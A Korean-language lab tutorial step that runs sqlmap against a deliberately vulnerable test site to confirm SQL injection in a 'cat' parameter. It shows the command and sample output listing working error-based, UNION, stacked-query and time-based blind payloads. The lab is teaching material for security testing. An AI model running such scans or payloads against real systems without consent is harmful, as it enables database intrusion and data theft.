대상에 대한 성공적인 인젝션 설정
이 단계에서는 대상에 대한 성공적인 SQL 인젝션을 설정하는 것을 시뮬레이션합니다. 이 랩에서는 sqlmap이 악용할 수 있는 알려진 취약한 URL 을 사용합니다. sqlmap이 데이터베이스와 상호 작용하고 DBA 권한 확인을 포함한 추가 열거를 수행하려면 유효한 인젝션 지점이 필요하므로 이 초기 단계는 매우 중요합니다.
~/project 디렉토리에서 터미널을 엽니다. 시연 목적으로 더미 URL 을 사용합니다. 실제 시나리오에서는 정찰 및 수동 테스트를 통해 취약한 URL 을 식별했을 것입니다.
성공적인 인젝션을 확인하기 위해 다음 sqlmap 명령을 실행합니다. 프로세스를 자동화하고 기본 선택 항목을 수락하기 위해 간단한 --url 및 --batch 플래그를 사용합니다.
sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --batch
sqlmap이 다양한 테스트를 수행하고 결국 대상이 SQL 인젝션에 취약하다는 것을 확인하는 것을 볼 수 있습니다. 취약점이 성공적으로 탐지되었음을 나타내는 출력을 찾으십시오.
_
___| |_____ ___ ___ ___ {1.6.11.1#dev}
|_ -| . | | . | . |
|___|_|_|_|_|_|___| . | --[sqlmap]--
|_|
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. sqlmap developers assume no liability and are not responsible for any misuse or damage caused by this program.
[SNIP]
[INFO] GET parameter 'cat' is vulnerable. Do you want to keep testing the others (if any)? [y/N/q] N
sqlmap identified the following injection point(s) with a total of 18 HTTP(s) requests:
---
Parameter: cat (GET)
Type: error-based
Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
Payload: http://testphp.vulnweb.com/listproducts.php?cat=1 AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x7178717871,(SELECT (ELT(1337=1337,1))),0x717a7a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query all columns - 10 columns
Payload: http://testphp.vulnweb.com/listproducts.php?cat=1 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10--
Type: Stacked queries
Title: MySQL > 5.0.11 stacked queries (comment)
Payload: http://testphp.vulnweb.com/listproducts.php?cat=1;SELECT SLEEP(5)--
Type: Time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace
Payload: http://testphp.vulnweb.com/listproducts.php?cat=1 AND (SELECT 1337 FROM (SELECT(SLEEP(5)))a)
---
[INFO] the back-end DBMS is MySQL
[INFO] fetched data:
[INFO] the web server is Apache
[INFO] you are not using the latest version
[INFO] for the latest stable version, visit the official repository at 'https://github.com/sqlmapproject/sqlmap/'
출력은 cat 매개변수가 다양한 유형의 SQL 인젝션에 취약하다는 것을 확인합니다. 이는 sqlmap이 이제 데이터베이스와 상호 작용할 수 있음을 의미합니다.